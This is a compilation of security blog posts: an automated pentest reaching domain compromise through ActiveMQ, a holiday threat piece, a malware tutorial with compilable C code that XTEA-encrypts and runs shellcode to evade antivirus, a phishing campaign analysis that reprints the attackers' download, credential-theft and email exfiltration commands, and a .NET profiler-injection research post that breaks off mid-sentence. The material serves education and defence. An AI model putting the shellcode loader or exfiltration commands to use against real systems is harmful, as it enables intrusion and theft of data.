CISA Known Exploited Vulnerability Enables Initial Access and Lateral Movement Leading to Domain Compromise

Here is a real-world example of NodeZero exploiting a recently disclosed, pervasive vulnerability in an internal pentest to fully compromise a client environment.

Background

Apache ActiveMQ is a Java-based message broker used as a part of many software products. It is backend infrastructure that facilitates communication between different software components operating in a distributed architecture, similar to Redis and RabbitMQ.

At the end of October 2023, a critical vulnerability, CVE-2023-46604, affecting ActiveMQ was disclosed. This vulnerability enables unauthenticated attackers to compromise the host running ActiveMQ by sending a crafted network request to the broker’s Openwire port (default port 61616). Similar to Log4Shell, the exploit induces the vulnerable ActiveMQ instance to connect back to an attacker-controlled server to download a malicious payload. The vulnerable ActiveMQ instance unmarshalls the payload, resulting in the execution of arbitrary operating system commands contained in the payload, leading to host compromise.

The vulnerability was immediately exploited in the wild by threat actors, landing it on CISA’s known exploited vulnerabilities (KEV) catalog. As of this writing, according to Shodan there are thousands of ActiveMQ instances exposing the Openwire port to the Internet, with the majority of these instances in China.

While dangerous externally, the vulnerability is an order of magnitude more dangerous and prevalent in internal networks. ActiveMQ is installed as part of many software products, including Atlassian Bamboo, Commvault, Powerschool SIS, and Solarwinds WebHelpDesk.etc. This is the type of vulnerability that will linger in internal networks, and be fodder for pentesters and attackers alike for years to come.

A Real World Example

Within days of public disclosure, an exploit for CVE-2023-46604 was added to NodeZero. Here’s an actual production internal pentest in which NodeZero exploited this vulnerability to ultimately compromise the domain administrator account.

• First NodeZero identified the Apache ActiveMQ broker service running on the default port 61616 on a host in the network.
• NodeZero checked for CVE-2023-46604 and then exploited it to install a Remote Access Tool (RAT) on the vulnerable host.

• Through the RAT, NodeZero dumped credentials from LSASS. One of these credentials was the NTLM hash for a domain user. NodeZero “passed the hash” to login as domain user on the network.

• Next, NodeZero identified that the compromised domain user was also a local admin on another host in the network. Using the administrative privileges of this domain user, NodeZero installed a second Remote Access Tool on this second host.
• NodeZero once again dumped LSASS through this RAT. This time NodeZero acquired the NTLM hash for a domain administrator, which it used to log in to the domain.

Takeaways

It took NodeZero about 1 hour and 15 minutes to execute the attack path leading to domain compromise. This attack was performed autonomously with no human assistance or prior scripting. Along the way, NodeZero identified and raised the following weaknesses:

• CVE-2023-46604: Apache ActiveMQ Openwire Transport Remote Code Execution Vulnerability
• H3-2021-0044: Credential Dumping – Local Security Authority Subsystem Service (LSASS) Memory
• H3-2022-0086: Domain User with Local Administrator Privileges

While CVE-2023-46604 provided NodeZero initial access to a host in the network, the subsequent weaknesses – lack of security controls preventing LSASS dumping and a over-privileged domain user – enabled NodeZero to move laterally in the network and compromise the domain. NodeZero can help you stay on top of emerging weaknesses, and it can help you harden your security controls and credential policies to prevent widespread compromise.

The post Apache ActiveMQ RCE Leads to Domain Compromise appeared first on Horizon3.ai.

Amidst the hustle and bustle of holiday preparations and last-minute shopping, cybercriminals often take advantage of the increased online activity and spending complacency of individuals and businesses. Can you imagine the chaos if cybercriminals successfully targeted popular retail outlets, major airlines, or shipping companies? Those retail outlets could have issues processing sales and fulfilling their orders, airlines could cease operations, and shipping companies could miss delivering gifts in time for the holidays. Invariably, such an attack would leave customers stranded and angry, and those affected companies would be left with no other option than to give in to the ransom demands of cyber criminals to bring their systems back online. With so much riding on the holiday season, it is crucial that we ensure the security of our digital assets and safeguard our organizations against potential cyber threats. 

You may be wondering how likely it is that we’ll see a major cyber incident affecting considerable portions of the general public this December. The answer: very likely. Consider the fact that we have seen a major cyber-related incident each December for the last three years. Recalling the events from last December (2022), notable cybersecurity incidents affected Uber, Okta, and LastPass:

• Uber: The rideshare company experienced a high-profile data leak during which sensitive employee and company data were exposed. Attackers compromised an AWS cloud server used by a third-party vendor that provides asset management and tracking services.
• Okta: The identity and access management company faced a cybersecurity incident where a hacker accessed its source code following a breach of its GitHub repositories. Once Okta identified the issue, they placed temporary access restrictions on the repositories and suspended all GitHub integrations with third-party applications. Fortunately, no customer data was impacted by this breach. 
• LastPass: The password and identity management company encountered two distinct cybersecurity incidents. The first involved a threat actor targeting a software engineer’s company laptop, providing unauthorized access to a cloud-based development environment. The access allowed the cyber threat actor to steal source code, technical information, and internal system secrets. The second incident featured a cyber threat actor targeting a senior DevOps engineer by exploiting vulnerable third-party software. The accessed data included system configuration data, API secrets, third-party integration secrets, and encrypted and unencrypted LastPass customer data. 

In 2021, the discovery of the Log4Shell vulnerability that December sent shockwaves through the digital landscape. The widespread and critical vulnerability in the Apache Log4j library exposed countless systems to potential exploitation. The exploit, officially known as CVE-2021-44228 or log4shell, allowed attackers to execute arbitrary code remotely, posing a severe threat to the security of various software applications and systems globally. 

Another notable cyber attack was when the software company SolarWinds was hacked in 2020. That attack led to one of the biggest breaches of the 21st century, underscoring the sophisticated nature of modern cyber threats. The supply chain attack targeted the SolarWinds Orion platform, compromising software updates distributed to thousands of organizations. The cyber threat attackers infiltrated numerous government agencies and private companies.   

While it is nearly impossible to predict exactly what cyber threat actors will do this holiday season, we know that maintaining vigilance is crucial for ensuring the security of your systems and networks. Cyber vigilance is also paramount to safeguarding your personal and financial information, as increased online activities and festive shopping create opportunities for cyber threats and scams. Adopting an autonomous approach to proactively finding, fixing, and verifying your exploitable vulnerabilities should be the first line of defense in safeguarding your organization from cyber threats. It can also save your security team valuable time. By incorporating a continuous penetration testing cadence, you will get prompt results to fix what matters most while ensuring timely mitigations and verifications, providing you and your organization with the much-needed time to kick back and enjoy the holidays!

The post Insight – Holiday Threat Awareness 2023 appeared first on Horizon3.ai.

Learn about how to navigate the complexities of red team and blue team cybersecurity collaboration.

The post Navigating the Complexities of Red Team and Blue Team Cybersecurity Collaboration appeared first on OffSec.

﷽

Hello, cybersecurity enthusiasts and white hackers!

In one of the previous posts (and at conferences in the last couple of months) I talked about the TEA encryption algorithm and how it affected the VirusTotal detection score.

Today I decided to look at an improved algorithm - XTEA.

XTEA

XTEA (eXtended TEA) is a symmetric block cipher designed to enhance the security of TEA (Tiny Encryption Algorithm). Developed by David Wheeler and Roger Needham, XTEA operates on 64-bit blocks with a 128-bit key and typically employs 64 rounds for encryption and decryption. The algorithm incorporates a Feistel network structure, utilizing a complex key schedule and a series of bitwise operations, shifts, and additions to iteratively transform plaintext into ciphertext.

XTEA addresses certain vulnerabilities identified in TEA, providing improved resistance against cryptanalysis while maintaining simplicity and efficiency. Notably, XTEA is free from patent restrictions, contributing to its widespread use in various applications where lightweight encryption is essential, such as embedded systems and resource-constrained environments.

pracical example

As usually, let’s implement this cipher in practice.

For simplicity I decided to implement 32-rounds:

#define KEY_SIZE 16
#define ROUNDS 32

The code is identical to the implementation of the TEA algorithm, just replace encryption and decryption logic:

void xtea_encrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0, delta = 0x9e3779b9;

  for (int i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

void xtea_decrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0xC6EF3720, delta = 0x9e3779b9; // sum for decryption

  for (int i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

As you can see, it’s implemented with the same delta = 0x9e3779b9.

For simplicity, I used running shellcode via EnumDesktopsA logic.

Finally, full source code is looks like this (hack.c):

/*
 * hack.c
 * with decrypt payload via XTEA
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/11/23/malware-cryptography-22.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define KEY_SIZE 16
#define ROUNDS 32

void xtea_encrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0, delta = 0x9e3779b9;

  for (int i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

void xtea_decrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0xC6EF3720, delta = 0x9e3779b9; // sum for decryption

  for (int i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

int main() {
  unsigned int key[4] = {0x6d6f776d, 0x656f776d, 0x6f776d65, 0x776d656f};
  unsigned char my_payload[] =
    "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
    "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
    "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
    "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
    "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
    "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
    "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
    "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
    "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
    "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
    "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
    "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
    "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
    "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
    "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
    "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
    "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
    "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
    "\x2e\x2e\x5e\x3d\x00";

  int len = sizeof(my_payload);
  int pad_len = (len + 8 - (len % 8)) & 0xFFF8;

  unsigned int *padded = (unsigned int *)malloc(pad_len);
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, len);

  // encrypt the padded shellcode
  for (int i = 0; i < pad_len / sizeof(unsigned int); i += 2) {
    xtea_encrypt(&padded[i], key);
  }

  printf("encrypted:\n");
  for (int i = 0; i < pad_len; i++) {
    printf("\\x%02x", ((unsigned char *)padded)[i]);
  }
  printf("\n\n");

  // decrypt the padded shellcode
  for (int i = 0; i < pad_len / sizeof(unsigned int); i += 2) {
    xtea_decrypt(&padded[i], key);
  }

  printf("decrypted:\n");
  for (int i = 0; i < pad_len; i++) {
    printf("\\x%02x", ((unsigned char *)padded)[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, pad_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  free(padded);
  return 0;
}

As you can see, first of all, before encrypting, we use padding via the NOP (\x90) instructions. For this example, use the meow-meow messagebox payload as usual.

demo

Let’s go to see this trick in action. Compile our “malware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

As you can see, our decrypted shellcode is modified: padding \x90 is working as expected:

For correcntess, firstly I just print it without running “malicious” messagebox.

Then, compile and run it again with shellcode logic:

.\hack.exe

Upload our sample to VirusTotal:

https://www.virustotal.com/gui/file/29d9599e7c46f3680ed29428b7e6afa2061215e7f9baeedcb3fa03ddbde57774/detection

18 of of 72 AV engines detect our file as malicious as expected.

I think it is quite possible to achieve a bypass Kaspersky and Windows Defender (static analysis) in local lab.

Of course, this result is justified by the fact that the method of launching the shellcode is not new, also payload is generated by msfvenom.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: T1027
XTEA
AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

How adversaries create diversions and stay invisible

BI.ZONE Threat Intelligence specialists have discovered a cybercriminal group that has been active since at least 2019. While this cluster of activity was previously directed against the countries neighboring Russia, now such attacks have reached Russia itself. The attackers use phishing emails to install a legitimate monitoring tool, Mipko Employee Monitor, on target devices and gain access to the Telegram messenger, steal sensitive documents and passwords.

Key findings

1. Unusual attachment formats tend to lower the victim’s guard and increase the likelihood of a compromise.
2. Hacking and stealing Telegram accounts is particularly popular, besides accessing user data is as easy as copying a single folder.
3. Attackers make extensive use of legitimate monitoring tools. This allows them to go undercover inside the compromised IT infrastructure.

Campaign

The criminals sent phishing emails with archives that contained, as they claimed, 1C:Enterprise invoices and their digital keys. This enabled them to distract the victims from noticing the file extension. The content of the message is shown in the figure below.

The archive contained an executable 1C.Предприятие Платежная накладная №579823592352-2023.scr, which was the installer for Smart Install Maker.

Running the executable file caused the following actions:

• Creation of a folder C:\Intel\ and assigning the attributes Hidden, System, Unindexed.
• Creation of keys Video Configurations and Mail Configurations in the registry hive Software\Microsoft\Windows\CurrentVersion\Run. The key values were set as file paths C:\Intel\go.exe and C:\Intel\mail.exe that would be unpacked later.
• Creation of a file C:\Intel\rezet.cmd, downloading encrypted archives from the C2 server using cURL and driver.exe to unpack them:

C:\Intel\curl.exe -o C:\Intel\driver.exe http://acountservices[.]nl/downs/driver.exe
C:\Intel\curl.exe -o C:\Intel\keys.rar http://acountservices[.]nl/downs/keys.rar
C:\Intel\curl.exe -o C:\Intel\MPK.rar http://acountservices[.]nl/downs/MPK.rar
C:\Intel\curl.exe -o C:\Intel\pas.rar http://acountservices[.]nl/downs/pas.rar

In addition, driver.exe served to collect and archive all Microsoft Word documents:

C:\Intel\driver.exe a -r -hplimpid2903392 C:\Intel\doc.rar C:\*.doc* /y

Telegram messenger data was also collected and packaged:

C:\Intel\driver.exe a -r -hplimpid2903392 C:\Intel\tdata.rar "C:\Users\[user]\AppData\Roaming\Telegram Desktop\tdata" /y

The attackers sent the collected data through a controlled mail service. For this purpose, they extracted the Blat utility from the pas.rar archive and used it to send emails through the command line:

C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\pas.rar blat.exe C:\Intel\ /y

Then both archives were sent to the attackers’ email account:

C:\Intel\blat.exe -to %mail-in% -f "TELEGRAM<%mail-out%>" -server smtp.acountservices[.]nl -port 587 -u %mail-out% -pw %pass-out% -subject "[redacted]" -body "[redacted]" -attach "C:\Intel\tdata.rar"
C:\Intel\blat.exe -to %mail-in% -f "DOCUMENT<%mail-out%>" -server smtp.acountservices[.]nl -port 587 -u %mail-out% -pw %pass-out% -subject "[redacted]" -body "[redacted]" -attach "C:\Intel\doc.rar"

After sending, the archives with the collected data and the cURL utility were deleted:

del /q C:\Intel\curl.exe
del /q /f C:\Intel\doc.rar
del /q /f C:\Intel\tdata.rar

Next, the go.exe file was extracted from the keys.rar archive. Execution was suspended for an hour using the ping utility after which the files mail.exe and userprofile.exe were extracted from the archives. The latter was launched to install Mipko Employee Monitor software in the compromised system:

C:\Intel\driver.exe e -hplimpid2903392 C:\Intel\keys.rar go.exe C:\Intel\ /y
ping -n 3600 127.0.0.1
C:\Intel\driver.exe e -hplimpid2903392 C:\Intel\pas.rar mail.exe C:\Intel\ /y
C:\Intel\driver.exe e -hplimpid2903392 C:\Intel\keys.rar userprofile.exe C:\Intel\ /y
C:\Intel\userprofile.exe

At this point, the system was forced to reboot and the rezet.cmd file was deleted:

wmic OS WHERE Primary="TRUE" CALL Win32Shutdown 6
del /q C:\Intel\rezet.cmd

After rebooting, the files mail.exe and go.exe were executed.

Launching mail.exe led to the following actions:

• Passwords from browsers on the compromised device were collected into a password.txt file. To do this, the software WebBrowserPassView was extracted from the archive pas.rar:

C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\pas.rar wbpv.exe C:\Intel\ /y
C:\Intel\wbpv.exe /stext "C:\Intel\password.txt"

• Once the passwords were retrieved, the files that were no longer required for execution were deleted:

del /q /f С:\Intel\wbpv.exe
del /q /f C:\Intel\pas.rar
del /q /f C:\Intel\rezet.cmd
del /q /f C:\Intel\driver.exe

• The registry key responsible for mail.exe autorun was also deleted:

reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Mail Configurations" /f

• This was followed by checking the availability of the network resource www.msftncsi.com/ncsi.txt. If the check was successful, the obtained user credentials would be emailed to the attacker using the Blat utility:

curl www.msftncsi.com/ncsi.txt >nul
if "%errorlevel%"=="0" (
goto ok
) else (
goto no
)
:ok
C:\Intel\blat.exe -to %mail-in% -f "PASSWORD<%mail-out%>" -server [REDACTED] -port 587 -u %mail-out% -pw %pass-out% -subject  "Password %COMPUTERNAME%/%USERNAME%" -body  "Password %COMPUTERNAME%/%USERNAME%" -attach "C:\Intel\password.txt"

• The files go.exe, password.txt, and blat.exe were deleted at this point:

del /q /f C:\Intel\go.exe
del /q /f C:\Intel\password.txt
del /q /f C:\Intel\blat.exe

Running go.exe triggered the following actions:

• Remove the Mipko Employee Monitor configuration if it is present on the system:

del /q /f %PROGRAMDATA%\MPK\S0000

• Unpack all keys.rar files into the C:\Intel folder:

C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\keys.rar C:\Intel\ /y

• Unpack the MPK.rar archive containing the connection configuration into folder C:\Users\[user]\AppData\Local\:

C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\MPK.rar %PROGRAMDATA%  /y

• Move the file from C:\Users\[user]\AppData\Local\MPK\S0000.txt to C:\Users\[user]\AppData\Local\MPK\S0000:

ren %PROGRAMDATA% \MPK\S0000.txt %PROGRAMDATA% \MPK\S0000

• Add the Userinit key in the registry hive HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to launch Mipko Employee Monitor at system startup:

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Userinit /t reg_sz /d "C:\Intel\userprofile.exe" /f

• Launch Mipko Employee Monitor:

start C:\Intel\userprofile.exe

• Delete temporary files that may be in the folder C:\Intel\:

del /q /f C:\Intel\MPK.rar
del /q /f C:\Intel\keys.rar
del /q /f C:\Intel\curl.exe
del /q /f C:\Intel\dc.exe
del /q /f C:\Intel\dc.rar
del /q /f C:\Intel\rezet.cmd
del /q /f C:\Intel\open.lnk
del /q /f C:\Intel\go.exe
del /q /f C:\Intel\go1.exe
del /q /f C:\Intel\mail.exe

• Delete the registry key responsible for the autorun of go.exe:

reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Video Configurations" /f

The Mipko Employee Monitor software allows attackers to monitor user activity, intercept keystrokes and clipboard logs, record screen activity and device camera.

Conclusion

Cybercriminals continue to leverage dual-use software and legitimate tools to launch targeted attacks. This often allows them to blend into the compromised IT infrastructure and bypass multiple defenses. In addition, it is important to monitor the threat landscape of neighboring countries: attackers may change their targets over time, influenced by geopolitical events, among other things.

MITRE ATT&CK

Indicators of compromise

• acountservices[.]nl
• 53043bd27f47dbbe3e5ac691d8a586ab56a33f734356be9b8e49c7e975241a56
• e6ea6ce923f2eee0cd56a0874e4a0ca467711b889553259a995df686bd35de86
• e1e9b7182717f6851e7deb0aadf8f31c67bf43e2d8ef5b052e697f467ec2e3f3
• 4999f77a5a52d79dbb4b14dd7035aed21aecf85631ea20b91d7adf97f7b729e8
• a49092711a56efc520416e53bbc9891092d1d970e154b923b7603083bbd7d870
• a9eeffdad26eabe90fc32a79700af671daefd43eb7ecfb8f20ce4e667cbd8dcb

A full list of the indicators of compromise is available to the users of BI.ZONE Threat Intelligence.

How to protect your company from such threats

Phishing emails are a popular attack vector against organizations. To protect your mail server, you can use specialized services that help to filter unwanted emails. One such service is BI.ZONE CESP. The solution eliminates the problem of illegitimate emails by inspecting every message. It uses over 600 filtering mechanisms based on machine learning, statistical, signature, and heuristic analysis. This inspection does not slow down the delivery of secure messages.

Legitimate tools are applied more and more often today to attack companies. Preventive defenses do not detect such methods — the intruders penetrate the infrastructure unnoticed. To discover such attacks, we recommend that companies implement detection, response, and prevention solutions, such as BI.ZONE TDR, as part of their security operations center.

Explore key strategies to safeguard against Advanced Persistent Threats (APTs), focusing on prevention, response, and recovery in cybersecurity.

The post Advanced Persistent Threats: OffSec’s Comprehensive Guide appeared first on OffSec.

Introduction

Background

.NET is an ecosystem of frameworks, runtimes, and languages for building and running a wide range of applications on a variety of platforms and devices. The .NET Framework was initially released in the early 2000s as Microsoft’s implementation of the Common Language Infrastructure (CLI) specification. In 2016, Microsoft released .NET Core, the first truly open-source, cross platform version of the .NET Platform.

All flavors of .NET rely on a runtime component called the Common Language Runtime (CLR). The CLR is responsible for executing managed programs (e.g. assemblies) and handling other tasks such as memory management, garbage collection, and just-in-time (JIT) compilation of manage-to-unmanaged code. In open-source .NET, the CLR is implemented as the Core CLR (e.g. coreclr.dll).

Although the .NET Framework will be referenced frequently, this blog will focus on abusing several runtime diagnostic features that are mostly specific to open-source .NET on modern Microsoft Windows client operating systems (e.g. .NET, formerly called .NET Core, since version 5).

Of note, the content provided in this blog was first presented in my MCTTP 2023 Conference talk – Dotnet: Not Dead…Yet. Defensive considerations, SIGMA rules, and mitigation guidance are located at the end of the post.

.NET Native Inclusion

Although it may be a surprise to a few, .NET Framework (4.8.x) is still the default “system wide” .NET implementation on Microsoft Windows. However, Windows ships with several Universal Windows Platform (UWP) applications (“apps”) that rely on .NET Native, a .NET pre-compilation technology that contains an instance of the Core CLR runtime. An example UWP app that leverages .NET Native is the Phone Link app (PhoneExperienceHost.exe).

Note: Visual Studio components and Azure DevOps Pipeline Agents leverage the open-source .NET runtime. Most recently, .NET version 8 was released.

Runtime Configuration & Diagnostics

Over the last few years, I’ve blogged about several ways to abuse the .NET Framework by leveraging CLR Configuration Knobs. Adjusting knobs allow for controlling the behavior of the .NET Common Language Runtime (CLR) for development, debugging, and diagnostic purposes. The Core CLR is no exception and includes many similar and unique knobs that can be configured in the registry, environment variables, and configuration files.

A very interesting and well supported diagnostic extension for the .NET Framework CLR is the profiling API. As stated by Microsoft, a profiler is a “tool that monitors the execution of another application. [It] is a dynamic link library (DLL) that consists of functions that receive messages from, and send messages to, the CLR by using the profiling API. The profiler DLL is loaded by the CLR at run time.” Messaging to and from the profiler DLL and the CLR are implemented through the ICorProfilerCallback/2 interface for event notification and the ICorProfilerInfo/2 interface for profiled application state information. Profiling a .NET application could reveal event(ing) information such as assembly loading, module loading, and thread creation (Source: Microsoft Docs).

Interestingly, open-source .NET includes a rich set of troubleshooting diagnostic features, tools, and APIs that can be leveraged to interface with the Core CLR without the need of a profiler, though profiling is also supported (which we’ll dive into shortly). Of note, Microsoft documentation for Core runtime diagnostics is very robust and well worth reviewing.

CLR Profiler Abuse

.NET Framework CLR Profiler Loading

At .NET application start, configuration knobs adjust the CLR/runtime behavior. As documented by Casey Smith (@subTee) in 2017, the following .NET Framework profiler knobs are configured as environment variables to load an unmanaged “profiler” DLL:

• COR_ENABLE_PROFILING – Set to 1 to enable profiler loading
• COR_PROFILER – Set a target CLSID or arbitrary GUID value (Note: Not necessarily required for the .NET Framework)
• COR_PROFILER_PATH – Set path to the profiler DLL

If an arbitrary DLL is loaded into the CLR that does not meet the requirements and structure for a profiler DLL, the CLR will effectively unload the library. Depending on the offensive use case, this may or may not be important. Additionally, this technique is documented in Mitre ATT&CK as sub-technique: T1574.012.

.NET Core CLR Profiler Loading

The Core CLR profiler in open-source .NET acts in a similar way but leverages the following knobs to load a “profiler” DLL:

• CORECLR_ENABLE_PROFILING – Set to 1 to enable profiler loading
• CORECLR_PROFILER – Set an arbitrary GUID value (Note: Required for open-source .NET)
• CORECLR_PROFILER_PATH – Set path to the profiler DLL (Note: knob names may also be CORECLR_PROFILER_PATH_32 or CORECLR_PROFILER_PATH_64 depending on architecture)

When set as environment variables in the registry, the .NET application Core CLR loads the DLL for execution and persistence:

.NET Core CLR Diagnostics

CLR Diagnostic Port

As mentioned prior, the .NET Core CLR diagnostic analysis can be performed without the use of a CLR profiler. By default, the Core CLR enables an Interprocess Communication (IPC) diagnostic endpoint called a diagnostic port. On Linux and MAC, the IPC occurs over Unix domain sockets by default. On Windows, IPC occurs over a named pipe, which follows this naming convention:

\.\pipe\dotnet-diagnostic-{Process ID (PID) of .NET application}

Diagnostic applications interface and communicate with a target application’s CLR diagnostic port to send commands and receive responses. Graciously, Microsoft has released a suite of diagnostic tools and an API for interfacing with the diagnostic port.

Diagnostic Applications & Tools

The following Microsoft signed command line applications are available to diagnose .NET application issues:

• dotnet-counters
• dotnet-dump
• dotnet-monitor
• dotnet-trace
• …and more

As you can imagine, some of these utilities can be used for living-off-the-land/lolbin scenarios. For instance, dotnet-dump instructs the CLR of a target .NET application to dump its process memory. Dotnet-dump also implements MiniDumpWriteDump, which can be used to create process minidumps of non-.NET processes (e.g. such as LSASS):

Diagnostic API

Although command-line diagnostic tools provide a turnkey approach for diagnosing .NET applications, Microsoft makes available the Microsoft.Diagnostics.NETCore.Client API to interact with the diagnostic port of .NET applications for deeper use cases. The API is relatively straight forward to use and includes a diagnostic class and several methods for:

• Setting environment variables
• Dumping the .NET process
• Setting a startup CLR profiler
• Attaching a CLR profiler…

Interestingly, a “monitoring” application can leverage API diagnostic port to instruct the target application CLR to attach a profiler. Leveraging the API, the following C# code snippet serves as “injector” to load a “profiler” DLL into a running process using the AttachProfiler() method:

using Microsoft.Diagnostics.NETCore.Client;

class profiler_injector
{
    static void Main(string[] args)
    {
        int pid = Int32.Parse(args[0]);
        string profilerPath = args[1];

        AttachProfiler(pid, Guid.NewGuid(), profilerPath);
    }

    static void AttachProfiler(int processId, Guid profilerGuid, string profilerPath)
    {
        var client = new DiagnosticsClient(processId);
        client.AttachProfiler(TimeSpan.FromSeconds(10), profilerGuid, profilerPath);
    }
}

Expectedly, running the injector programs shows a successful result:

IPC Messaging Protocol

The Diagnostic IPC Protocol is used for client (“monitoring application”) and server (target application CLR) messaging over the diagnostic port named pipe. Microsoft provides excellent documentation of the transport, structure, and commands. Leveraging the IONinja protocol analyzer, an example client request and server response for issuing the AttachProfiler command appears as follows:

The “magic” string value effectively serves as the message header, and it has a 14-byte reservation. As of this blog release date, the constant magic value is “DOTNET_IPC_V1”. The following two bytes are reserved for the payload size, and the next two bytes are reserved for the command code.

For the client message, 0x0301 is the identifier for the AttachProfiler command. The next two bytes are generally reserved, and the remainder of the message is the payload. In this case, the client payload data includes the attachment timeout value, a CLSID/GUID value (e.g. for the CORECLR_PROFILER), and the path to the profiler DLL (e.g. for CORECLR_PROFILER_PATH). The remaining bytes are not set, but other messages may contain a client data element.

For this example, the command code in the server response (0xFFFF) is interesting. Although the “profiler” DLL successfully attaches, the command code indicates an error with the DLL since it is not a true profiler DLL. In this case, the DLL does not adhere to the expected structure and is evicted.

Note: With insight into the messaging protocol, one could go a step further and forgo managed API usage and craft diagnostic IPC messages at the byte-code level.

CVE-2023-33127: .NET Cross Session Local Privilege Escalation

Motivation

Every now and again, researching offensive tradecraft opens the door for thinking of new ways to exploit potential vulnerabilities. The CLR diagnostic attack surface was interesting, especially with the capabilities provided by the CLR and use of named pipes for IPC endpoint. Initially, I did not identify any formal services operating in a privileged context (e.g. NT AUTHORITY\SYSTEM) that leveraged .NET Core. Eventually, I found a few third-party services as well as use within Azure pipelines, but the UWP apps were all I had to work with at the time. I noted two possible use cases for privilege elevation:

• An observation was made that some UWP apps operated in low integrity. There may be a scenario to potentially elevate from low to medium integrity within a user session.
• Other UWP apps operate at medium integrity. UWP processes are created for each user logged into a machine. It may be possible to influence the UWP application diagnostic port that is created in another user’s session.

I opted to start with the latter as I always found cross-session attacks to be very interesting.

Discovery Methodology

Having already spent too many unhealthy years looking at Component Object Model (COM) and following the incredible research of James Forshaw (@tiraniddo), it was most natural place to look for cross-session attack opportunities. It is no secret that users can activate DCOM objects in other interactive sessions. This includes a scenario when a non-privileged users is logged into the same machine as a privileged user.

Cross session activation is made possible when the identity of the target DCOM object is set to run as the “interactive user” (e.g. the interactive user in the target session), and the activation and launch permissions permit the object activation to occur by the launching user (e.g. the attacker).

